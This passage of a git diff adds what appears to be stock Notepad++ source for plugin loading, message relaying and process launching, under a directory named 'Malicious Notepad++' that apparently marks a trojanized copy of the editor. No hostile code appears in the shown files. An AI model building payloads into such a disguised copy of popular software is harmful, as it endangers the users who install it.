generic_string(TEXT("This ANSI plugin is not compatible with your Unicode Notepad++.")); + + pi->_pFuncSetInfo = (PFUNCSETINFO)GetProcAddress(pi->_hLib, "setInfo"); + + if (!pi->_pFuncSetInfo) + throw generic_string(TEXT("Missing \"setInfo\" function")); + + pi->_pFuncGetName = (PFUNCGETNAME)GetProcAddress(pi->_hLib, "getName"); + if (!pi->_pFuncGetName) + throw generic_string(TEXT("Missing \"getName\" function")); + pi->_funcName = pi->_pFuncGetName(); + + pi->_pBeNotified = (PBENOTIFIED)GetProcAddress(pi->_hLib, "beNotified"); + if (!pi->_pBeNotified) + throw generic_string(TEXT("Missing \"beNotified\" function")); + + pi->_pMessageProc = (PMESSAGEPROC)GetProcAddress(pi->_hLib, "messageProc"); + if (!pi->_pMessageProc) + throw generic_string(TEXT("Missing \"messageProc\" function")); + + pi->_pFuncSetInfo(_nppData); + + pi->_pFuncGetFuncsArray = (PFUNCGETFUNCSARRAY)GetProcAddress(pi->_hLib, "getFuncsArray"); + if (!pi->_pFuncGetFuncsArray) + throw generic_string(TEXT("Missing \"getFuncsArray\" function")); + + pi->_funcItems = pi->_pFuncGetFuncsArray(&pi->_nbFuncItem); + + if ((!pi->_funcItems) || (pi->_nbFuncItem <= 0)) + throw generic_string(TEXT("Missing \"FuncItems\" array, or the nb of Function Item is not set correctly")); + + pi->_pluginMenu = ::CreateMenu(); + + GetLexerCountFn GetLexerCount = (GetLexerCountFn)::GetProcAddress(pi->_hLib, "GetLexerCount"); + // it's a lexer plugin + if (GetLexerCount) + { + GetLexerNameFn GetLexerName = (GetLexerNameFn)::GetProcAddress(pi->_hLib, "GetLexerName"); + if (!GetLexerName) + throw generic_string(TEXT("Loading GetLexerName function failed.")); + + GetLexerStatusTextFn GetLexerStatusText = (GetLexerStatusTextFn)::GetProcAddress(pi->_hLib, "GetLexerStatusText"); + + if (!GetLexerStatusText) + throw generic_string(TEXT("Loading GetLexerStatusText function failed.")); + + // Assign a buffer for the lexer name. + char lexName[MAX_EXTERNAL_LEXER_NAME_LEN]; + lexName[0] = '\0'; + TCHAR lexDesc[MAX_EXTERNAL_LEXER_DESC_LEN]; + lexDesc[0] = '\0'; + + int numLexers = GetLexerCount(); + + ExternalLangContainer *containers[30]; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + for (int x = 0; x < numLexers; ++x) + { + GetLexerName(x, lexName, MAX_EXTERNAL_LEXER_NAME_LEN); + GetLexerStatusText(x, lexDesc, MAX_EXTERNAL_LEXER_DESC_LEN); + const TCHAR *pLexerName = wmc->char2wchar(lexName, CP_ACP); + if (!nppParams->isExistingExternalLangName(pLexerName) && nppParams->ExternalLangHasRoom()) + containers[x] = new ExternalLangContainer(pLexerName, lexDesc); + else + containers[x] = NULL; + } + + TCHAR xmlPath[MAX_PATH]; + lstrcpy(xmlPath, nppParams->getNppPath().c_str()); + PathAppend(xmlPath, TEXT("plugins\\Config")); + PathAppend(xmlPath, pi->_moduleName.c_str()); + PathRemoveExtension(xmlPath); + PathAddExtension(xmlPath, TEXT(".xml")); + + if (!PathFileExists(xmlPath)) + { + lstrcpyn(xmlPath, TEXT("\0"), MAX_PATH ); + lstrcpy(xmlPath, nppParams->getAppDataNppDir() ); + PathAppend(xmlPath, TEXT("plugins\\Config")); + PathAppend(xmlPath, pi->_moduleName.c_str()); + PathRemoveExtension( xmlPath ); + PathAddExtension( xmlPath, TEXT(".xml") ); + + if (! PathFileExists( xmlPath ) ) + { + throw generic_string(generic_string(xmlPath) + TEXT(" is missing.")); + } + } + + TiXmlDocument *pXmlDoc = new TiXmlDocument(xmlPath); + + if (!pXmlDoc->LoadFile()) + { + delete pXmlDoc; + pXmlDoc = NULL; + throw generic_string(generic_string(xmlPath) + TEXT(" failed to load.")); + } + + for (int x = 0; x < numLexers; ++x) // postpone adding in case the xml is missing/corrupt + { + if (containers[x] != NULL) + nppParams->addExternalLangToEnd(containers[x]); + } + + nppParams->getExternalLexerFromXmlTree(pXmlDoc); + nppParams->getExternalLexerDoc()->push_back(pXmlDoc); + const char *pDllName = wmc->wchar2char(pluginFilePath, CP_ACP); + ::SendMessage(_nppData._scintillaMainHandle, SCI_LOADLEXERLIBRARY, 0, reinterpret_cast(pDllName)); + + } + addInLoadedDlls(pluginFilePath, pluginFileName); + _pluginInfos.push_back(pi); + return static_cast(_pluginInfos.size() - 1); + } + catch (std::exception& e) + { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + return -1; + } + catch (generic_string s) + { + s += TEXT("\n\n"); + s += pluginFileName; + s += USERMSG; + if (::MessageBox(NULL, s.c_str(), pluginFilePath, MB_YESNO) == IDYES) + { + dll2Remove.push_back(pluginFilePath); + } + delete pi; + return -1; + } + catch (...) + { + generic_string msg = TEXT("Failed to load"); + msg += TEXT("\n\n"); + msg += pluginFileName; + msg += USERMSG; + if (::MessageBox(NULL, msg.c_str(), pluginFilePath, MB_YESNO) == IDYES) + { + dll2Remove.push_back(pluginFilePath); + } + delete pi; + return -1; + } +} + + +bool PluginsManager::loadPlugins(const TCHAR *dir) +{ + if (_isDisabled) + return false; + + vector dllNames; + vector dll2Remove; + NppParameters * nppParams = NppParameters::getInstance(); + generic_string nppPath = nppParams->getNppPath(); + generic_string pluginsFullPathFilter = (dir && dir[0])?dir:nppPath; + + pluginsFullPathFilter += TEXT("\\plugins\\*.dll"); + + WIN32_FIND_DATA foundData; + HANDLE hFindFile = ::FindFirstFile(pluginsFullPathFilter.c_str(), &foundData); + if (hFindFile != INVALID_HANDLE_VALUE) + { + generic_string plugins1stFullPath = (dir && dir[0])?dir:nppPath; + plugins1stFullPath += TEXT("\\plugins\\"); + plugins1stFullPath += foundData.cFileName; + dllNames.push_back(plugins1stFullPath); + + while (::FindNextFile(hFindFile, &foundData)) + { + bool isInBlackList = nppParams->isInBlackList(foundData.cFileName); + if (!isInBlackList) + { + generic_string fullPath = (dir && dir[0])?dir:nppPath; + fullPath += TEXT("\\plugins\\"); + + fullPath += foundData.cFileName; + dllNames.push_back(fullPath); + } + PluginList & pl = nppParams->getPluginList(); + pl.add(foundData.cFileName, isInBlackList); + } + ::FindClose(hFindFile); + + + for (size_t i = 0, len = dllNames.size(); i < len ; ++i) + { + loadPlugin(dllNames[i].c_str(), dll2Remove); + } + + } + + for (size_t j = 0, len = dll2Remove.size() ; j < len ; ++j) + ::DeleteFile(dll2Remove[j].c_str()); + + std::sort(_pluginInfos.begin(), _pluginInfos.end(), [](const PluginInfo *a, const PluginInfo *b) { return a->_funcName < b->_funcName; }); + + return true; +} + +bool PluginsManager::loadPluginsV2(const TCHAR* dir) +{ + if (_isDisabled || !dir || !dir[0]) + return false; + + NppParameters * nppParams = NppParameters::getInstance(); + + vector dllNames; + vector dll2Remove; + + generic_string pluginsFolderFilter = dir; + PathAppend(pluginsFolderFilter, TEXT("*.*")); + + WIN32_FIND_DATA foundData; + HANDLE hFindFolder = ::FindFirstFile(pluginsFolderFilter.c_str(), &foundData); + HANDLE hFindDll = INVALID_HANDLE_VALUE; + + // get plugin folder + if (hFindFolder != INVALID_HANDLE_VALUE && (foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) + { + generic_string pluginsFullPathFilter = dir; + PathAppend(pluginsFullPathFilter, foundData.cFileName); + generic_string pluginsFolderPath = pluginsFullPathFilter; + generic_string dllName = foundData.cFileName; + dllName += TEXT(".dll"); + PathAppend(pluginsFullPathFilter, dllName); + + // get plugin + hFindDll = ::FindFirstFile(pluginsFullPathFilter.c_str(), &foundData); + if (hFindDll != INVALID_HANDLE_VALUE && !(foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) + { + dllNames.push_back(pluginsFullPathFilter); + + PluginList & pl = nppParams->getPluginList(); + pl.add(foundData.cFileName, false); + } + + // get plugin folder + while (::FindNextFile(hFindFolder, &foundData)) + { + generic_string pluginsFullPathFilter2 = dir; + PathAppend(pluginsFullPathFilter2, foundData.cFileName); + generic_string pluginsFolderPath2 = pluginsFullPathFilter2; + generic_string dllName2 = foundData.cFileName; + dllName2 += TEXT(".dll"); + PathAppend(pluginsFullPathFilter2, dllName2); + + // get plugin + hFindDll = ::FindFirstFile(pluginsFullPathFilter2.c_str(), &foundData); + if (hFindDll != INVALID_HANDLE_VALUE && !(foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) + { + dllNames.push_back(pluginsFullPathFilter2); + + PluginList & pl = nppParams->getPluginList(); + pl.add(foundData.cFileName, false); + } + } + + } + ::FindClose(hFindFolder); + ::FindClose(hFindDll); + + + for (size_t i = 0, len = dllNames.size(); i < len; ++i) + { + loadPlugin(dllNames[i].c_str(), dll2Remove); + } + + return true; +} + +// return true if cmdID found and its shortcut is enable +// false otherwise +bool PluginsManager::getShortcutByCmdID(int cmdID, ShortcutKey *sk) +{ + if (cmdID == 0 || !sk) + return false; + + const vector & pluginCmdSCList = (NppParameters::getInstance())->getPluginCommandList(); + + for (size_t i = 0, len = pluginCmdSCList.size(); i < len ; ++i) + { + if (pluginCmdSCList[i].getID() == (unsigned long)cmdID) + { + const KeyCombo & kc = pluginCmdSCList[i].getKeyCombo(); + if (kc._key == 0x00) + return false; + + sk->_isAlt = kc._isAlt; + sk->_isCtrl = kc._isCtrl; + sk->_isShift = kc._isShift; + sk->_key = kc._key; + return true; + } + } + return false; +} + + +void PluginsManager::addInMenuFromPMIndex(int i) +{ + vector & pluginCmdSCList = (NppParameters::getInstance())->getPluginCommandList(); + ::InsertMenu(_hPluginsMenu, i, MF_BYPOSITION | MF_POPUP, (UINT_PTR)_pluginInfos[i]->_pluginMenu, _pluginInfos[i]->_funcName.c_str()); + + unsigned short j = 0; + for ( ; j < _pluginInfos[i]->_nbFuncItem ; ++j) + { + if (_pluginInfos[i]->_funcItems[j]._pFunc == NULL) + { + ::InsertMenu(_pluginInfos[i]->_pluginMenu, j, MF_BYPOSITION | MF_SEPARATOR, 0, TEXT("")); + continue; + } + + _pluginsCommands.push_back(PluginCommand(_pluginInfos[i]->_moduleName.c_str(), j, _pluginInfos[i]->_funcItems[j]._pFunc)); + + int cmdID = ID_PLUGINS_CMD + static_cast(_pluginsCommands.size() - 1); + _pluginInfos[i]->_funcItems[j]._cmdID = cmdID; + generic_string itemName = _pluginInfos[i]->_funcItems[j]._itemName; + + if (_pluginInfos[i]->_funcItems[j]._pShKey) + { + ShortcutKey & sKey = *(_pluginInfos[i]->_funcItems[j]._pShKey); + PluginCmdShortcut pcs(Shortcut(itemName.c_str(), sKey._isCtrl, sKey._isAlt, sKey._isShift, sKey._key), cmdID, _pluginInfos[i]->_moduleName.c_str(), j); + pluginCmdSCList.push_back(pcs); + itemName += TEXT("\t"); + itemName += pcs.toString(); + } + else + { //no ShortcutKey is provided, add an disabled shortcut (so it can still be mapped, Paramaters class can still index any changes and the toolbar wont funk out + Shortcut sc(itemName.c_str(), false, false, false, 0x00); + PluginCmdShortcut pcs(sc, cmdID, _pluginInfos[i]->_moduleName.c_str(), j); //VK_NULL and everything disabled, the menu name is left alone + pluginCmdSCList.push_back(pcs); + } + ::InsertMenu(_pluginInfos[i]->_pluginMenu, j, MF_BYPOSITION, cmdID, itemName.c_str()); + + if (_pluginInfos[i]->_funcItems[j]._init2Check) + ::CheckMenuItem(_hPluginsMenu, cmdID, MF_BYCOMMAND | MF_CHECKED); + } + /*UNLOAD + ::InsertMenu(_pluginInfos[i]->_pluginMenu, j++, MF_BYPOSITION | MF_SEPARATOR, 0, TEXT("")); + ::InsertMenu(_pluginInfos[i]->_pluginMenu, j, MF_BYPOSITION, ID_PLUGINS_REMOVING + i, TEXT("Remove this plugin")); + */ +} + +HMENU PluginsManager::setMenu(HMENU hMenu, const TCHAR *menuName) +{ + if (hasPlugins()) + { + const TCHAR *nom_menu = (menuName && menuName[0])?menuName:TEXT("&Plugins"); + + if (!_hPluginsMenu) + { + _hPluginsMenu = ::CreateMenu(); + ::InsertMenu(hMenu, MENUINDEX_PLUGINS, MF_BYPOSITION | MF_POPUP, (UINT_PTR)_hPluginsMenu, nom_menu); + } + + for (size_t i = 0, len = _pluginInfos.size() ; i < len ; ++i) + { + addInMenuFromPMIndex(static_cast(i)); + } + return _hPluginsMenu; + } + return NULL; +} + + +void PluginsManager::runPluginCommand(size_t i) +{ + if (i < _pluginsCommands.size()) + { + if (_pluginsCommands[i]._pFunc != NULL) + { + try + { + _pluginsCommands[i]._pFunc(); + } + catch (std::exception& e) + { + ::MessageBoxA(NULL, e.what(), "PluginsManager::runPluginCommand Exception", MB_OK); + } + catch (...) + { + TCHAR funcInfo[128]; + generic_sprintf(funcInfo, TEXT("runPluginCommand(size_t i : %d)"), i); + pluginCrashAlert(_pluginsCommands[i]._pluginName.c_str(), funcInfo); + } + } + } +} + + +void PluginsManager::runPluginCommand(const TCHAR *pluginName, int commandID) +{ + for (size_t i = 0, len = _pluginsCommands.size() ; i < len ; ++i) + { + if (!generic_stricmp(_pluginsCommands[i]._pluginName.c_str(), pluginName)) + { + if (_pluginsCommands[i]._funcID == commandID) + { + try + { + _pluginsCommands[i]._pFunc(); + } + catch (std::exception& e) + { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + } + catch (...) + { + TCHAR funcInfo[128]; + generic_sprintf(funcInfo, TEXT("runPluginCommand(const TCHAR *pluginName : %s, int commandID : %d)"), pluginName, commandID); + pluginCrashAlert(_pluginsCommands[i]._pluginName.c_str(), funcInfo); + } + } + } + } +} + + +void PluginsManager::notify(const SCNotification *notification) +{ + for (size_t i = 0, len = _pluginInfos.size() ; i < len ; ++i) + { + if (_pluginInfos[i]->_hLib) + { + // To avoid the plugin change the data in SCNotification + // Each notification to pass to a plugin is a copy of SCNotification instance + SCNotification scNotif = *notification; + try + { + _pluginInfos[i]->_pBeNotified(&scNotif); + } + catch (std::exception& e) + { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + } + catch (...) + { + TCHAR funcInfo[256]; + generic_sprintf(funcInfo, TEXT("notify(SCNotification *notification) : \r notification->nmhdr.code == %d\r notification->nmhdr.hwndFrom == %p\r notification->nmhdr.idFrom == %d"),\ + scNotif.nmhdr.code, scNotif.nmhdr.hwndFrom, scNotif.nmhdr.idFrom); + pluginCrashAlert(_pluginInfos[i]->_moduleName.c_str(), funcInfo); + } + } + } +} + + +void PluginsManager::relayNppMessages(UINT Message, WPARAM wParam, LPARAM lParam) +{ + for (size_t i = 0, len = _pluginInfos.size(); i < len ; ++i) + { + if (_pluginInfos[i]->_hLib) + { + try + { + _pluginInfos[i]->_pMessageProc(Message, wParam, lParam); + } + catch (std::exception& e) + { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + } + catch (...) + { + TCHAR funcInfo[128]; + generic_sprintf(funcInfo, TEXT("relayNppMessages(UINT Message : %d, WPARAM wParam : %d, LPARAM lParam : %d)"), Message, wParam, lParam); + pluginCrashAlert(_pluginInfos[i]->_moduleName.c_str(), funcInfo); + } + } + } +} + + +bool PluginsManager::relayPluginMessages(UINT Message, WPARAM wParam, LPARAM lParam) +{ + const TCHAR * moduleName = (const TCHAR *)wParam; + if (!moduleName || !moduleName[0] || !lParam) + return false; + + for (size_t i = 0, len = _pluginInfos.size() ; i < len ; ++i) + { + if (_pluginInfos[i]->_moduleName == moduleName) + { + if (_pluginInfos[i]->_hLib) + { + try + { + _pluginInfos[i]->_pMessageProc(Message, wParam, lParam); + } + catch (std::exception& e) + { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + } + catch (...) + { + TCHAR funcInfo[128]; + generic_sprintf(funcInfo, TEXT("relayPluginMessages(UINT Message : %d, WPARAM wParam : %d, LPARAM lParam : %d)"), Message, wParam, lParam); + pluginCrashAlert(_pluginInfos[i]->_moduleName.c_str(), funcInfo); + } + return true; + } + } + } + return false; +} + + +bool PluginsManager::allocateCmdID(int numberRequired, int *start) +{ + bool retVal = true; + + *start = _dynamicIDAlloc.allocate(numberRequired); + + if (-1 == *start) + { + *start = 0; + retVal = false; + } + return retVal; +} + +bool PluginsManager::allocateMarker(int numberRequired, int *start) +{ + bool retVal = true; + *start = _markerAlloc.allocate(numberRequired); + if (-1 == *start) + { + *start = 0; + retVal = false; + } + return retVal; +} + +generic_string PluginsManager::getLoadedPluginNames() const +{ + generic_string pluginPaths; + for (size_t i = 0; i < _loadedDlls.size(); ++i) + { + pluginPaths += _loadedDlls[i]._fileName; + pluginPaths += TEXT(" "); + } + return pluginPaths; +} + diff --git a/Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.h b/Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.h new file mode 100644 index 0000000..28d9832 --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.h @@ -0,0 +1,167 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "resource.h" +#include "Parameters.h" +#include "PluginInterface.h" +#include "IDAllocator.h" + +typedef BOOL (__cdecl * PFUNCISUNICODE)(); + +struct PluginCommand +{ + generic_string _pluginName; + int _funcID; + PFUNCPLUGINCMD _pFunc; + PluginCommand(const TCHAR *pluginName, int funcID, PFUNCPLUGINCMD pFunc): _funcID(funcID), _pFunc(pFunc), _pluginName(pluginName){}; +}; + +struct PluginInfo +{ + PluginInfo() {} + ~PluginInfo() + { + if (_pluginMenu) + ::DestroyMenu(_pluginMenu); + + if (_hLib) + ::FreeLibrary(_hLib); + } + + HINSTANCE _hLib = NULL; + HMENU _pluginMenu = NULL; + + PFUNCSETINFO _pFuncSetInfo = NULL; + PFUNCGETNAME _pFuncGetName = NULL; + PBENOTIFIED _pBeNotified = NULL; + PFUNCGETFUNCSARRAY _pFuncGetFuncsArray = NULL; + PMESSAGEPROC _pMessageProc = NULL; + PFUNCISUNICODE _pFuncIsUnicode = NULL; + + FuncItem *_funcItems = NULL; + int _nbFuncItem = 0; + generic_string _moduleName; + generic_string _funcName; +}; + +struct LoadedDllInfo +{ + generic_string _fullFilePath; + generic_string _fileName; + + LoadedDllInfo(const generic_string & fullFilePath, const generic_string & fileName) : _fullFilePath(fullFilePath), _fileName(fileName) {}; +}; + +class PluginsManager +{ +friend class PluginsAdminDlg; +public: + PluginsManager() : _dynamicIDAlloc(ID_PLUGINS_CMD_DYNAMIC, ID_PLUGINS_CMD_DYNAMIC_LIMIT), + _markerAlloc(MARKER_PLUGINS, MARKER_PLUGINS_LIMIT) {} + ~PluginsManager() + { + for (size_t i = 0, len = _pluginInfos.size(); i < len; ++i) + delete _pluginInfos[i]; + + if (_hPluginsMenu) + DestroyMenu(_hPluginsMenu); + } + + void init(const NppData & nppData) + { + _nppData = nppData; + } + + int loadPlugin(const TCHAR *pluginFilePath, std::vector & dll2Remove); + bool loadPlugins(const TCHAR *dir = NULL); + bool loadPluginsV2(const TCHAR *dir); + + bool unloadPlugin(int index, HWND nppHandle); + + void runPluginCommand(size_t i); + void runPluginCommand(const TCHAR *pluginName, int commandID); + + void addInMenuFromPMIndex(int i); + HMENU setMenu(HMENU hMenu, const TCHAR *menuName); + bool getShortcutByCmdID(int cmdID, ShortcutKey *sk); + + void notify(const SCNotification *notification); + void relayNppMessages(UINT Message, WPARAM wParam, LPARAM lParam); + bool relayPluginMessages(UINT Message, WPARAM wParam, LPARAM lParam); + + HMENU getMenuHandle() const { return _hPluginsMenu; } + + void disable() {_isDisabled = true;} + bool hasPlugins() {return (_pluginInfos.size()!= 0);} + + bool allocateCmdID(int numberRequired, int *start); + bool inDynamicRange(int id) { return _dynamicIDAlloc.isInRange(id); } + + bool allocateMarker(int numberRequired, int *start); + generic_string getLoadedPluginNames() const; + +private: + NppData _nppData; + HMENU _hPluginsMenu = NULL; + + std::vector _pluginInfos; + std::vector _pluginsCommands; + std::vector _loadedDlls; + bool _isDisabled = false; + IDAllocator _dynamicIDAlloc; + IDAllocator _markerAlloc; + + void pluginCrashAlert(const TCHAR *pluginName, const TCHAR *funcSignature) + { + generic_string msg = pluginName; + msg += TEXT(" just crashed in\r"); + msg += funcSignature; + ::MessageBox(NULL, msg.c_str(), TEXT("Plugin Crash"), MB_OK|MB_ICONSTOP); + } + + bool isInLoadedDlls(const TCHAR *fn) const + { + for (size_t i = 0; i < _loadedDlls.size(); ++i) + if (generic_stricmp(fn, _loadedDlls[i]._fileName.c_str()) == 0) + return true; + return false; + } + + void addInLoadedDlls(const TCHAR *fullPath, const TCHAR *fn) { + _loadedDlls.push_back(LoadedDllInfo(fullPath, fn)); + } +}; + +#define EXT_LEXER_DECL __stdcall + +// External Lexer function definitions... +typedef int (EXT_LEXER_DECL *GetLexerCountFn)(); +typedef void (EXT_LEXER_DECL *GetLexerNameFn)(unsigned int Index, char *name, int buflength); +typedef void (EXT_LEXER_DECL *GetLexerStatusTextFn)(unsigned int Index, TCHAR *desc, int buflength); diff --git a/Malicious Notepad++/src/MISC/PluginsManager/deprecatedSymbols.h b/Malicious Notepad++/src/MISC/PluginsManager/deprecatedSymbols.h new file mode 100644 index 0000000..18797e6 --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/deprecatedSymbols.h @@ -0,0 +1,80 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#define NOTEPADPLUS_USER (WM_USER + 1000) + +#define WM_GETCURRENTSCINTILLA (NOTEPADPLUS_USER + 4) +#define WM_GETCURRENTLANGTYPE (NOTEPADPLUS_USER + 5) +#define WM_SETCURRENTLANGTYPE (NOTEPADPLUS_USER + 6) +#define WM_NBOPENFILES (NOTEPADPLUS_USER + 7) +#define WM_GETOPENFILENAMES (NOTEPADPLUS_USER + 8) + +#define WM_MODELESSDIALOG (NOTEPADPLUS_USER + 12) +#define WM_NBSESSIONFILES (NOTEPADPLUS_USER + 13) +#define WM_GETSESSIONFILES (NOTEPADPLUS_USER + 14) +#define WM_SAVESESSION (NOTEPADPLUS_USER + 15) +#define WM_SAVECURRENTSESSION (NOTEPADPLUS_USER + 16) +#define WM_GETOPENFILENAMES_PRIMARY (NOTEPADPLUS_USER + 17) +#define WM_GETOPENFILENAMES_SECOND (NOTEPADPLUS_USER + 18) + +#define WM_CREATESCINTILLAHANDLE (NOTEPADPLUS_USER + 20) +#define WM_DESTROYSCINTILLAHANDLE (NOTEPADPLUS_USER + 21) +#define WM_GETNBUSERLANG (NOTEPADPLUS_USER + 22) +#define WM_GETCURRENTDOCINDEX (NOTEPADPLUS_USER + 23) +#define WM_SETSTATUSBAR (NOTEPADPLUS_USER + 24) +#define WM_GETMENUHANDLE (NOTEPADPLUS_USER + 25) +#define WM_ENCODE_SCI (NOTEPADPLUS_USER + 26) +#define WM_DECODE_SCI (NOTEPADPLUS_USER + 27) +#define WM_ACTIVATE_DOC (NOTEPADPLUS_USER + 28) +#define WM_LAUNCH_FINDINFILESDLG (NOTEPADPLUS_USER + 29) +#define WM_DMM_SHOW (NOTEPADPLUS_USER + 30) +#define WM_DMM_HIDE (NOTEPADPLUS_USER + 31) +#define WM_DMM_UPDATEDISPINFO (NOTEPADPLUS_USER + 32) +#define WM_DMM_REGASDCKDLG (NOTEPADPLUS_USER + 33) +#define WM_LOADSESSION (NOTEPADPLUS_USER + 34) +#define WM_DMM_VIEWOTHERTAB (NOTEPADPLUS_USER + 35) +#define WM_RELOADFILE (NOTEPADPLUS_USER + 36) +#define WM_SWITCHTOFILE (NOTEPADPLUS_USER + 37) +#define WM_SAVECURRENTFILE (NOTEPADPLUS_USER + 38) +#define WM_SAVEALLFILES (NOTEPADPLUS_USER + 39) +#define WM_PIMENU_CHECK (NOTEPADPLUS_USER + 40) +#define WM_ADDTOOLBARICON (NOTEPADPLUS_USER + 41) +#define WM_GETWINDOWSVERSION (NOTEPADPLUS_USER + 42) +#define WM_DMM_GETPLUGINHWNDBYNAME (NOTEPADPLUS_USER + 43) + + + +#define RUNCOMMAND_USER_ (WM_USER + 3000) + +#define WM_GET_FULLCURRENTPATH (RUNCOMMAND_USER_ + FULL_CURRENT_PATH) +#define WM_GET_CURRENTDIRECTORY (RUNCOMMAND_USER_ + CURRENT_DIRECTORY) +#define WM_GET_FILENAME (RUNCOMMAND_USER_ + FILE_NAME) +#define WM_GET_NAMEPART (RUNCOMMAND_USER_ + NAME_PART) +#define WM_GET_EXTPART (RUNCOMMAND_USER_ + EXT_PART) +#define WM_GET_CURRENTWORD (RUNCOMMAND_USER_ + CURRENT_WORD) +#define WM_GET_NPPDIRECTORY (RUNCOMMAND_USER_ + NPP_DIRECTORY) diff --git a/Malicious Notepad++/src/MISC/Process/Processus.cpp b/Malicious Notepad++/src/MISC/Process/Processus.cpp new file mode 100644 index 0000000..af1c44e --- /dev/null +++ b/Malicious Notepad++/src/MISC/Process/Processus.cpp @@ -0,0 +1,38 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "Parameters.h" +#include "Processus.h" + + +void Process::run() +{ + TCHAR *opVerb = TEXT("open"); + ::ShellExecute(NULL, opVerb, _command.c_str(), _args.c_str(), _curDir.c_str(), SW_SHOWNORMAL); +} + diff --git a/Malicious Notepad++/src/MISC/Process/Processus.h b/Malicious Notepad++/src/MISC/Process/Processus.h new file mode 100644 index 0000000..62cee10 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Process/Processus.h @@ -0,0 +1,51 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef PROCESSUS_H +#define PROCESSUS_H + +#include "common.h" + +enum progType {WIN32_PROG, CONSOLE_PROG}; + +class Process +{ +public: + Process(const TCHAR *cmd, const TCHAR *args, const TCHAR *cDir) + :_command(cmd), _args(args), _curDir(cDir){} + + void run(); + +protected: + generic_string _command; + generic_string _args; + generic_string _curDir; +}; + +#endif //PROCESSUS_H + diff --git a/Malicious Notepad++/src/MISC/RegExt/regExtDlg.cpp b/Malicious Notepad++/src/MISC/RegExt/regExtDlg.cpp new file mode 100644 index 0000000..411b6bd --- /dev/null +++ b/Malicious Notepad++/src/MISC/RegExt/regExtDlg.cpp @@ -0,0 +1,430 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// 